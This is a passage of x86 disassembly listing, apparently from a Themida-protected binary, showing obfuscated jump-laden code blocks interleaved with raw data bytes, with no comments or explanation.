		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 59E75366h
		neg	edi
		sub	esp, 4
		mov	[esp], ebx
		push	edx
		push	45501A7Ah
		pop	edx
		not	edx
		inc	edx
		sub	edx, 6AC3716Dh
		mov	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		shr	ebx, 5
		dec	ebx
		push	ebp
		mov	ebp, 64F140EAh
		xor	ebp, 1B9A6F5Dh
		add	ebp, 0BFC0B945h
		jmp	loc_55840B
; ---------------------------------------------------------------------------
		dw 0B368h
		dd 54000069h, 0FF7CE7E9h, 28F66FFh, 0FF98E2E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5552DD:				; CODE XREF: Themida_:005536DEj
		add	eax, 4
		jmp	loc_55118C
; ---------------------------------------------------------------------------
		db 5Bh,	0FFh, 34h
		dd 0C4815E24h, 4, 0FFC442E9h, 36EE81FFh, 0E93CA615h, 0FFFF8BBBh
		dd 0E9240C89h, 0FFFFC203h, 42474FFh, 81240C8Bh,	4C4h, 24048F00h
		dd 0F624248Bh, 11AAE9E9h, 0EF810000h, 0FF1E167Eh, 5883C381h
		dd 0C3814542h, 0E8F5A6Ah, 0EB81FB01h, 0E8F5A6Ah, 7B685057h
		dd 587EE936h, 36220540h, 0BF5765EEh, 606AEBE5h,	152FE9h
		db 0
; ---------------------------------------------------------------------------

loc_555355:				; CODE XREF: Themida_:0055512Fj
		and	[esp], eax
		pushf
		jmp	loc_54C1F4
; ---------------------------------------------------------------------------

loc_55535E:				; CODE XREF: Themida_:0055677Cj
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 547637Bh
		shr	edx, 1
		and	edx, 7D350C81h
		neg	edx
		add	edx, 2BF51898h
		shl	edx, 1
		xor	edx, 0BCD5C7EFh
		add	ebx, edx
		pop	edx
		add	[edi+24h], ebx
		jmp	loc_550EA5
; ---------------------------------------------------------------------------
		db 57h,	52h, 68h
		dd 4B847ACCh, 0FFB488E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_555399:				; CODE XREF: Themida_:00557CA2j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_5573EE
; ---------------------------------------------------------------------------

loc_5553B2:				; CODE XREF: Themida_:005501C0j
		pop	edx
		jmp	loc_553FED
; ---------------------------------------------------------------------------

loc_5553B8:				; CODE XREF: Themida_:0054EF8Dj
		or	edx, eax
		shl	edx, 1
		push	ecx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 6BE84C7Ch
		push	ebx
		push	ecx
		mov	ecx, 9417B383h
		jmp	loc_555E45
; ---------------------------------------------------------------------------
		db 81h
		dd 0CB37C8EAh, 81FA0159h, 0CB37C8C2h, 0EF40E959h, 0D68FFFFh
		dd 8900007Ah, 6857242Ch, 83F366Bh, 0C2C7815Fh, 8114820Eh
		dd 0D51E89CFh, 0F7CF8767h, 81CF87D1h, 0EEDA00C7h, 0EE3DE97Fh
		dd 9D04FFFFh, 74DE9h
		db 0
; ---------------------------------------------------------------------------

loc_55541D:				; CODE XREF: Themida_:00553582j
		push	dword ptr [esp]
		pop	edx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_556904
; ---------------------------------------------------------------------------
		db 0BDh, 0A2h, 1
		dd 0EA29540Ah, 3DFE9h
		db 0
; ---------------------------------------------------------------------------

loc_555441:				; CODE XREF: Themida_:0054CC9Dj
		mov	edi, 1F260860h
		jmp	loc_54F7E0
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9240C8Bh, 0FFFFE428h, 3024248Bh, 0C0B60FC3h, 0FF87D9E9h
		dd 4BB53FFh, 1000000h, 0E904245Ch, 0FFFFFE75h, 654068h
		dd 24148900h, 0D328EAB2h, 0FFAD00E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_555481:				; CODE XREF: Themida_:0054E4C7j
		sub	al, 23h
		sub	al, ch
		add	al, 23h
		mov	cx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		push	eax
		mov	eax, 2
		add	edx, eax
		pop	eax
		xchg	edx, [esp]
		pop	esp
		add	al, bl
		jmp	loc_54C922
; ---------------------------------------------------------------------------
		dd 4C281h, 57E90000h, 89FFFFF2h, 0D4BF243Ch, 5517D625h
		dd 597596BDh, 7EDC175h,	0FFB050E9h, 4EC81FFh, 89000000h
		dd 45B82404h, 0E97FB042h, 0FFFFF5E9h, 8904EC83h, 4B9240Ch
		dd 1000000h, 5904244Ch,	0FFF7F4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5554F1:				; CODE XREF: Themida_:00554D62j
		mov	ebp, [esp]
		jmp	loc_5523E3
; ---------------------------------------------------------------------------

loc_5554F9:				; CODE XREF: Themida_:00556DC7j
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_54EBE6
; ---------------------------------------------------------------------------
		dd 904467BFh, 0A7C7816Fh, 4F28D138h, 0C103E7C1h, 0DFF703E7h
		dd 0FFDE35E9h, 0E95B54FFh, 0FFFF8EF9h
; ---------------------------------------------------------------------------

loc_55552C:				; CODE XREF: Themida_:005516C2j
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		shr	ecx, 7
		push	ecx
		mov	ecx, esp
		push	ebp
		mov	ebp, 17AD1E63h
		jmp	loc_5532AB
; ---------------------------------------------------------------------------
		dd 0B951E389h, 1BE617A9h, 771CC181h, 0B850224Ch, 24A87032h
		dd 0E9D8F740h, 27A7h, 4EC81h, 54E90000h, 66FFFFE2h, 9C240429h
		dd 0FF6C7FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_555575:				; CODE XREF: Themida_:00555229j
		pop	esp
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		push	319Eh
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_5508AA
; ---------------------------------------------------------------------------
		db 68h,	2 dup(0)
		dd 505D0000h, 38B8h, 68D00100h,	7608h, 0E9242C89h, 0FFFFE7B7h
		dd 0E9243C89h, 1F95h, 0FF6C3BE9h, 2C5E04FFh, 0C8B66B5h
		dd 0E2895224h, 4C281h, 0C2810000h, 2, 5C241487h, 0E9E38953h
		dd 0FFFFC955h, 4240483h
		db 8Bh,	14h, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	eax
		jmp	loc_54E466
; ---------------------------------------------------------------------------
		db 29h,	0F7h, 81h
		dd 0AC0577C7h, 24348B1Ch, 4C481h, 0E9570000h, 1F13h
; ---------------------------------------------------------------------------

loc_555610:				; CODE XREF: Themida_:00551CF2j
		mov	esp, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_54D637
; ---------------------------------------------------------------------------

loc_55561B:				; CODE XREF: Themida_:00558441j
		push	3162h
		mov	[esp], eax
		jmp	loc_54C1F4
; ---------------------------------------------------------------------------
		dd 8B24048Fh, 0A1E92424h, 80FFFFBBh, 0E950FFEEh, 0FFFFC1A4h
		dd 9C240420h, 0FF6BAFE9h, 434D05FFh, 0BB536B81h, 753E3EC4h
		dd 255F381h, 0B95144D5h, 7B9F29B3h, 0E959C829h,	111Dh
		dd 0E932FF64h, 0FFFF6B88h, 7AC868h, 241C8900h, 0C381E389h
		dd 4, 2C6B68h, 242C8900h, 2F566857h, 3C8B149Eh,	0E1895124h
		dd 4C181h, 0C1810000h, 4, 0FFFA14E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5556A1:				; CODE XREF: Themida_:005511E8j
		add	esp, 4
		add	esp, 4
		jmp	loc_557A10
; ---------------------------------------------------------------------------

loc_5556AC:				; CODE XREF: Themida_:005569A2j
		add	esp, 4
		push	esi
		mov	esi, 25E3337Bh
		dec	esi
		shl	esi, 1
		and	esi, 2F0957D9h
		jmp	loc_54E8FA
; ---------------------------------------------------------------------------
aHik		db '[hëK',0
		align 4
		dd 0B9240C89h, 5C15FF2h, 380CC781h, 0CF016190h,	0FFD0A1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5556E1:				; CODE XREF: Themida_:0054D709j
		mov	[esp], eax
		mov	eax, 4C94103Bh
		not	eax
		sub	eax, 738064CCh
		not	eax
		shr	eax, 4
		push	ecx
		push	edi
		mov	edi, 2F7A57EEh
		jmp	loc_54EAA2
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 0E955E789h, 0FFFF974Ch, 0A0D8E95Fh, 0E95AFFFFh, 1125h
		dd 8158C331h, 1111D7F3h, 108405C4h, 12052567h, 0E926E97Eh
		dd 0FFFFD9A6h, 4C381h, 0EB810000h, 4, 5C241C87h, 54243489h
		dd 8324348Bh, 565304C4h, 0CF16B3BEh, 7FF6815Dh,	81105E09h
		dd 911FC8EEh, 5EF3894Dh, 356AC681h, 0DE016403h,	356AEE81h
		dd 815B6403h, 2C6h, 24343300h, 0E9243431h, 0FFFF7755h
; ---------------------------------------------------------------------------

loc_555780:				; CODE XREF: Themida_:0054ED22j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_54FCE8
; ---------------------------------------------------------------------------
		db 50h
		dd 0A94CD4B8h, 8BC22960h, 0C4812404h, 4, 4727F281h, 0BE5653BCh
		dd 63851F21h, 815EF221h, 84181DEAh, 6F36E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5557B6:				; CODE XREF: Themida_:00550E5Fj
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_54DFED
; ---------------------------------------------------------------------------

loc_5557C8:				; CODE XREF: Themida_:00558429j
		push	edx
		mov	edx, 7F3567DAh
		xor	edi, edx
		pop	edx
		shl	edi, 6
		push	ecx
		mov	ecx, 7E9676EFh
		xor	edi, ecx
		pop	ecx
		push	ebp
		mov	ebp, 0B6B2067h
		inc	ebp
		sub	ebp, 2A9923D3h
		sub	ebp, 38377CE6h
		xor	edi, ebp
		pop	ebp
		jmp	loc_552F4F
; ---------------------------------------------------------------------------
		dd 675A1CBBh, 1295E91Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_555802:				; CODE XREF: Themida_:0054E668j
		sub	esi, 10D378B9h
		sub	esi, 1230077Dh
		add	ebx, esi
		pop	esi
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5537EF
; ---------------------------------------------------------------------------

loc_55581A:				; CODE XREF: Themida_:00550573j
		pop	edx
		jmp	loc_54CF9D
; ---------------------------------------------------------------------------
		dd 50242C8Bh, 0BD55E089h, 0BEE25ABh, 0FFC6EDE9h, 66F820FFh
		dd 6E0C05Bh, 0C628232Ch, 0FFF02858h, 815A2434h,	4C4h, 49E95700h
		dd 66FFFFB4h, 68240C8Bh, 2456h,	89241C89h, 0FECEE9E3h
		dd 0FE21FFFFh, 0D6F74E5Fh, 8104EEC1h, 3B1CCECEh, 65F68172h
		dd 53025D1Dh, 3C518BBBh, 6ACB8165h, 0E963E257h,	24C8h
; ---------------------------------------------------------------------------

loc_555888:				; CODE XREF: Themida_:0054CA60j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	ebx
		jmp	loc_5507E6
; ---------------------------------------------------------------------------

loc_555895:				; CODE XREF: Themida_:0054ECB3j
		pop	esi
		add	ebp, 48B96AEFh
		add	ebp, eax
		jmp	loc_54CB28
; ---------------------------------------------------------------------------
		db 33h
		dd 0E95C2404h, 0FFFFE542h, 0C05AD788h, 0B55104EFh, 0DBF58073h
		dd 80F2ED80h, 0EF28E6EDh, 83240C8Bh, 516604C4h,	3E9E3B1h
		db 25h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5558CF:				; CODE XREF: Themida_:0054D471j
		add	ebx, esi
		jmp	loc_55213A
; ---------------------------------------------------------------------------

loc_5558D6:				; CODE XREF: Themida_:005522DBj
		sub	[edi+24h], ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4

loc_5558E3:				; CODE XREF: Themida_:00556C32j
		push	43DBh
		mov	[esp], ebx
		push	2EB4h
		mov	[esp], ebp
		mov	ebp, 44F2744Ch
		push	edi
		push	ecx
		push	4F5267DDh
		pop	ecx
		sub	ecx, 6E026118h
		add	ecx, 6378684Eh
		sub	ecx, 47194277h
		jmp	loc_552FBF
; ---------------------------------------------------------------------------
		db 40h
		dd 0FFD475E9h, 243C89FFh, 2BFh,	45E98100h, 14CC234h, 0D9C0E9F9h
		dd 0F701FFFFh, 164AE95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55593A:				; CODE XREF: Themida_:00554151j
		add	ebx, ebp
		pop	ebp
		xor	eax, ebx
		pop	ebx
		jmp	loc_5543B0
; ---------------------------------------------------------------------------
		db 0B7h, 2Eh, 0E9h
		dd 0FFFFFEE5h, 8124048Bh, 4C4h,	4C38300h, 8B241C87h, 0C8B2424h
		dd 54526824h, 1C890000h, 1C8B5424h, 4C48124h, 0E9000000h
		dd 0FFFFB94Ch, 0FF2434FFh, 0E9582434h, 0FFFF83D3h, 63F7CE81h
		dd 0E6817EDAh, 0D835B66h, 0F0E95346h, 8B00000Bh, 0C483241Ch
		dd 0D5E95104h, 80FFFFEFh, 0F80014F7h, 23EDE95Bh, 0BA520000h
		dd 0D21B91D2h, 0AEE9D301h, 83FFFF83h, 0D80104C4h, 0D8EB815Bh
		dd 10FA24Dh, 0D5E950C3h, 89000000h, 4C281E2h, 56000000h
		dd 3C6FF4BEh, 0E715E938h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5559E2:				; CODE XREF: Themida_:00550D8Cj
		not	bp
		jmp	loc_54C2EF
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 2434FF24h, 0FFDA8DE9h, 241C8BFFh, 81E38953h,	4C3h, 6E7DE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_555A06:				; CODE XREF: Themida_:0055237Fj
		push	ecx
		add	dword ptr [esp], 22313EB4h
		pop	dword ptr [edi+20h]
		push	ebx
		mov	ebx, 4215302Fh
		add	ebx, 15A7DE9h
		add	ebx, 0DEC1909Ch
		sub	[edi+20h], ebx
		pop	ebx
		pop	ecx
		mov	ebp, [esp]
		push	edi
		jmp	loc_54FF8D
; ---------------------------------------------------------------------------

loc_555A31:				; CODE XREF: Themida_:005503C3j
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		xor	ecx, edx
		xor	edx, ecx
		xor	ecx, edx
		not	edx
		xor	ecx, edx
		xor	edx, ecx
		xor	ecx, edx
		xchg	eax, ecx
		push	2F16h
		mov	[esp], esi
		push	1
		mov	esi, [esp]
		add	esp, 4
		and	eax, esi
		mov	esi, [esp]
		jmp	loc_54F29C
; ---------------------------------------------------------------------------
		dd 6B9DC381h, 0EBC16039h, 5AEB8106h, 2D037582h,	37D37BF5h
		dd 2484E9h
		db 0
; ---------------------------------------------------------------------------

loc_555A85:				; CODE XREF: Themida_:00553543j
		push	ebp
		push	eax
		mov	eax, 85A8E477h
		mov	ebp, eax
		mov	eax, [esp]
		jmp	loc_54F8E2
; ---------------------------------------------------------------------------

loc_555A96:				; CODE XREF: Themida_:0054C506j
		mov	esi, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_550737
; ---------------------------------------------------------------------------
		dd 0C0457EB8h, 0B977E973h, 0BF66FFFFh, 68663BA7h, 896661F1h
		dd 66502414h, 66119968h, 4B356658h, 0C2896625h,	0D7016658h
		dd 24148B66h, 6602C483h, 0EFC1664Fh, 0F7816605h, 565232CDh
		dd 6D48BE66h, 8EEC166h,	0D7E68166h, 6646665Bh, 3992C681h
		dd 5EF28966h, 66DAF766h, 89B6C281h, 5AD02966h, 29490566h
		dd 66F82966h, 49BE6656h, 0F0296629h, 5665E66h, 34FF4FDEh
		dd 0C4815F24h, 4, 65C86866h, 0A66E9h, 66C2E900h, 8B66FFFFh
		dd 0AEE92404h, 66FFFFE8h, 6824148Bh, 199Ah, 54240C89h
		dd 0A07EE959h, 74FFFFFFh, 8F580424h, 248B2404h,	0BE0F6624h
		dd 0E36866C8h, 0C896652h, 668AE924h, 0C528FFFFh, 0E8885058h
		dd 2DE9C288h, 0F7FFFFE7h, 0E95E2414h, 0FFFF9AB2h, 0A0771BEh
		dd 5EF20900h, 69BBC281h, 0E2811A73h, 5E1A6AAAh,	2AA6F281h
		dd 38E96C92h
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_555B9F:				; CODE XREF: Themida_:0054E093j
		mov	[esp], ecx
		jmp	loc_54C1F4
; ---------------------------------------------------------------------------
		db 89h
		dd 0BF572424h, 4, 4247C01h, 0C3815B5Fh,	4, 8704C383h, 248B241Ch
		dd 68076824h, 4890000h,	5E08924h, 4, 0FFB7D1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_555BD9:				; CODE XREF: Themida_:0054F797j
		mov	ebp, 5AA96E8Bh
		sub	eax, ebp
		jmp	loc_54FC1F
; ---------------------------------------------------------------------------
		db 68h,	64h, 38h
		dd 0CEE90000h
		db 81h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_555BEF:				; CODE XREF: Themida_:005543B2j
		shl	eax, 8
		and	eax, 1F1C17E2h
		jmp	loc_557AD4
; ---------------------------------------------------------------------------
		dd 24143359h, 33241431h, 34E92414h, 12h, 805866C3h, 0C300F6C3h
		dd 0E9F6EB80h, 0FFFFF854h, 2A88FD88h, 241C8B59h, 81E78957h
		dd 4C7h, 75406800h, 0B8E90000h
		db 0A7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_555C37:				; CODE XREF: Themida_:00554B42j
		mov	ecx, [esp]
		add	esp, 4
		pop	edx
		add	edx, 38BC135Eh
		push	64D2h
		mov	[esp], edx
		pop	eax
		pop	edx
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		shl	eax, cl
		push	4255h
		mov	[esp], ebp
		push	esi
		mov	esi, 2BFA2DB7h
		inc	esi
		shr	esi, 7
		push	ecx
		push	esi
		mov	esi, 18DA57F1h
		and	esi, 7A787E3Ch
		sub	esi, 327D250Eh
		sub	esi, 0E5833CC6h
		push	esi
		push	ecx
		mov	ecx, 19054A83h
		xor	[esp+4], ecx
		pop	ecx
		pop	ecx
		xor	ecx, 19054A83h
		jmp	loc_551C87
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 0CB7EE924h, 815BFFFFh, 0D44D0DEBh, 0B156E974h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_555CB2:				; CODE XREF: Themida_:00554948j
		neg	edi
		jmp	loc_5528ED
; ---------------------------------------------------------------------------
		db 5, 66h, 18h
		dd 36E97653h
		db 69h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_555CC3:				; CODE XREF: Themida_:0054DA2Bj
		mov	eax, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		xor	edx, edx
		jmp	loc_551156
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0E953240Ch, 0FFFFF39Dh, 0E9385FBAh, 0D9E28132h, 81523E05h
		dd 0E17982F2h, 78F28109h, 816ABF34h, 0B96841F2h, 5AD72956h
		dd 0D8E9EF01h, 89FFFFF1h, 7F68240Ch, 5977870Dh,	5E34C181h
		dd 0F1814A9Bh, 0BBE85EA3h, 5659C889h, 0CA3514BEh, 0E9F03179h
		dd 0FFFF6536h, 0ECF28142h, 89FEEEACh, 80CBE9D7h, 3489FFFFh
		dd 557CBE24h, 0E957772Dh, 0FFFFE064h
; ---------------------------------------------------------------------------

loc_555D4C:				; CODE XREF: Themida_:005574F3j
		pop	esp
		sub	esp, 4
		jmp	loc_552F08
; ---------------------------------------------------------------------------
		db 29h,	0F1h, 81h
		dd 0C21EAE9h, 24348B34h, 0C0CE9h, 9C506600h, 0FF6487E9h
		dd 5465BAFFh, 0F2817851h, 1ECF19BBh, 467AE281h,	0C2810EF9h
		dd 0FFFFFFFFh, 0FF9672E9h, 241C89FFh, 1CD5BD55h, 0C7E91F8Dh
		db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_555D97:				; CODE XREF: Themida_:00556C3Fj
		mov	edi, 5A3079E0h
		shr	edi, 4
		xor	edi, 75A55ECAh
		sub	eax, 634E4831h
		add	eax, edi
		add	eax, 634E4831h
		pop	edi
		add	eax, edi
		push	edx
		mov	edx, 70065954h
		sub	eax, 20BB3436h
		sub	eax, 2F9C0D72h
		sub	eax, edx
		jmp	loc_556D3C
; ---------------------------------------------------------------------------
		db 30h
		dd 0C5FE5AD5h, 0FF9E12E9h, 525A58FFh, 2E16BE56h, 0EE8133D4h
		dd 4E9C3A7Ch, 0E904EEC1h, 0FFFF860Ah
; ---------------------------------------------------------------------------

loc_555DEC:				; CODE XREF: Themida_:0054E035j
		push	ebx
		push	5769h
		mov	[esp], esi
		mov	esi, 1F11C29h
		push	esi
		add	dword ptr [esp], 6A3B4283h
		pop	ebx
		sub	ebx, 6A3B4283h
		mov	esi, [esp]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		shr	ebx, 8
		inc	ebx
		or	ebx, 71E62DAAh
		push	ebp
		mov	ebp, 5B9A0438h
		inc	ebp
		inc	ebp
		or	ebp, 321F4EA0h
		inc	ebp
		jmp	loc_54FBEF
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 734B1BE2h, 0FF9250E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_555E45:				; CODE XREF: Themida_:005553D2j
		mov	ebx, ecx
		pop	ecx
		mov	ecx, ebx
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_557D64
; ---------------------------------------------------------------------------
		db 58h
		dd 0FFC35EE9h, 24048BFFh, 5604C483h, 4EC81h, 73E90000h
		dd 58000015h, 4EC815Bh,	89000000h, 0C1E9240Ch, 8900000Dh
		dd 0F357E9F8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_555E8A:				; CODE XREF: Themida_:0054EA3Ej
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		jmp	loc_553EFB
; ---------------------------------------------------------------------------
		dd 42474FFh, 11E7E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_555EA2:				; CODE XREF: Themida_:00557B45j
		xchg	eax, [esp]
		pop	esp
		or	eax, eax
		jz	loc_55520A
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_552036
; ---------------------------------------------------------------------------

loc_555EBA:				; CODE XREF: Themida_:0054D876j
		mov	esi, eax
		pop	eax
		add	ecx, esi
		pop	esi
		jmp	loc_553955
; ---------------------------------------------------------------------------
		db 58h,	52h, 0BAh
		dd 0E7578210h, 148BD329h, 4C48324h, 0FFB52DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_555ED9:				; CODE XREF: Themida_:00558383j
		pop	ebx
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ecx
		mov	ecx, 2F037E39h
		sub	ecx, 74847B5h
		shr	ecx, 1
		add	ecx, 0EC2264C2h
		add	edi, ecx
		pop	ecx
		xchg	edi, [esp]
		pop	esp
		push	small 4CB5h
		mov	[esp], dx
		push	ebx
		mov	bl, 1
		sub	bl, 94h
		jmp	loc_554069
; ---------------------------------------------------------------------------
		dw 8953h
		dd 4C381E3h, 83000000h,	0FFE904C3h
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------

loc_555F2B:				; CODE XREF: Themida_:00550F3Fj
		pop	ecx
		push	esi
		mov	esi, 62A265D9h
		shl	esi, 7
		sub	esi, 1
		push	ebx
		mov	ebx, 5132EC7Bh
		sub	esi, ebx
		pop	ebx
		jmp	loc_558101
; ---------------------------------------------------------------------------

loc_555F49:				; CODE XREF: Themida_:0055044Aj
		mov	[esp], edi
		push	eax
		push	7D7B4178h
		mov	eax, [esp]
		jmp	loc_5513CD
; ---------------------------------------------------------------------------

loc_555F5A:				; CODE XREF: Themida_:00550E03j
		push	ebx
		mov	ebx, 4
		jmp	loc_557D6C
; ---------------------------------------------------------------------------
		db 52h,	0B6h, 57h
		dd 0C005E6C0h, 0D8E904EEh, 81000020h, 6C517CEDh, 5DE801C6h
		dd 405h, 24048700h, 1430E9h, 1C77FF00h,	0D259669Dh, 0E99C2414h
		dd 0FFFF625Ch, 0B850E189h, 4, 0FFD886E9h, 8E9C1FFh, 5763E981h
		dd 0C98168BEh, 2E1D71CAh, 597AE981h, 0C80145D2h, 0FF74FDE9h
		dd 0E38853FFh, 585BD988h, 83241C8Bh, 0CB2804C4h, 0EC815966h
		dd 4, 68241489h, 38h, 53FA015Ah, 0E9C68852h, 0FFFF6C5Fh
		dd 24048B5Ch, 4EC81h, 14890000h, 81E28924h, 4C2h, 4B85000h
		dd 81000000h, 0D76F35C2h, 0A94AE91Bh, 248BFFFFh, 597E924h
		dd 8B660000h, 0E951240Ch, 0FFFFE33Ah, 4BFh, 43EB8100h
		dd 13A1147h, 43C381FBh,	5F3A1147h, 5C241C87h, 0FFC4EBE9h
		dd 4EE956FFh, 0E9FFFFB1h, 0FFFF61A8h, 4EBF2DADh, 565526A1h
		dd 0E36B32BEh, 11EAE96Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55605E:				; CODE XREF: Themida_:00554F93j
		shl	edi, 3
		not	edi
		inc	edi
		inc	edi
		add	edi, 0EB71FBDFh
		and	eax, edi
		jmp	loc_54C874
; ---------------------------------------------------------------------------
		dw 1489h
		dd 81E28924h, 4C2h, 4C28100h, 33000000h, 14312414h, 24143324h
		dd 0A1EE9h, 4EE8100h, 0E9000000h, 25Eh,	4E7C15Ch, 6264BD55h
		dd 0C5817018h, 10425F9h, 2CE9D5F7h, 0C1FFFFDFh,	0DEF707E6h
		dd 8946F681h, 0F301336Bh, 2434FF5Eh, 0FFF649E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5560C9:				; CODE XREF: Themida_:0054E222j
		shl	ebp, 4
		add	ebp, 0E5A6F40Eh
		add	ebx, ebp
		pop	ebp
		shr	ebx, 1
		add	ebx, 387461B6h
		add	ebx, 0F8DAC1D8h
		sub	eax, 0FA1151Ah
		sub	eax, ebx
		add	eax, 0FA1151Ah
		push	dword ptr [esp]
		jmp	loc_551CC3
; ---------------------------------------------------------------------------
		db 66h
		dd 81240C8Bh, 4ECh, 241C8900h, 5552E389h, 0CC25E4BDh, 25E0BA7Ch
		dd 6EE97CCCh
		db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_556117:				; CODE XREF: Themida_:0054C725j
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		or	ebx, ebx
		jnz	loc_55643D
		push	1D8Bh
		mov	[esp], ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_54EA6D
; ---------------------------------------------------------------------------
		dd 0B28BB050h, 41EA8077h, 0FF672BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_556151:				; CODE XREF: Themida_:00552A86j
		pop	edx
		jmp	loc_5509B8
; ---------------------------------------------------------------------------

loc_556157:				; CODE XREF: Themida_:005584EBj
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		mov	[esp], eax
		push	ebx
		mov	bl, dl
		mov	al, bl
		pop	ebx
		mov	cl, al
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		mov	[edi+eax*4+1], cl
		pop	ecx
		jmp	loc_54C259
; ---------------------------------------------------------------------------
		db 5Ah,	2 dup(5Fh)
		dd 3A0BBD55h, 0C2812D30h, 454D6F84h, 1CE1E9h, 0CEE8100h
		dd 0E9370F71h, 0FFFFA8F6h, 23F5EA81h, 0EAC17FE5h, 81DAF705h
		dd 0C773E9EAh, 5AD601FDh, 4EE81h, 34870000h, 24248B24h
		dd 68243C89h, 1465h, 81242489h,	42404h,	815F0000h, 4C7h
		dd 0B4B85000h, 0F77D6202h, 2DD8F7D0h, 1FE708Ah,	63922F35h
		dd 0E9C7017Bh, 445h, 4EAD68h, 24148900h, 4EC81h, 24890000h
		dd 24048324h, 0C2815A04h, 4, 3304C283h,	14312414h, 24143324h
		dd 6824248Bh, 7A80h, 89240489h,	0B7D8E9E0h, 1C87FFFFh
		dd 0B6525C24h, 80D6F648h, 0F8E94CF6h
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55623B:				; CODE XREF: Themida_:00551709j
		push	edx
		push	7406h
		mov	[esp], ebx
		mov	bl, 0Eh
		mov	dh, bl
		pop	ebx
		add	al, 0DEh
		add	al, 0FDh
		sub	al, dh
		sub	al, 0FDh
		push	edx
		push	eax
		push	dx
		mov	dl, 0E3h
		mov	al, dl
		pop	dx
		xor	al, 8Ah
		sub	al, 0EAh
		jmp	loc_551085
; ---------------------------------------------------------------------------
		dd 4C481h
		db 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_54DBD9
; ---------------------------------------------------------------------------
		db 28h,	0F8h, 66h
		dd 51EF2C5Bh, 0FFBD15E9h, 0F1C281FFh, 0E91DB313h, 0FFFF7EE2h
		dd 50DF381h, 16E9AA26h
		db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5562A3:				; CODE XREF: Themida_:00557639j
		add	edi, 24A4EE9h
		mov	eax, edi
		mov	edi, [esp]
		add	esp, 4
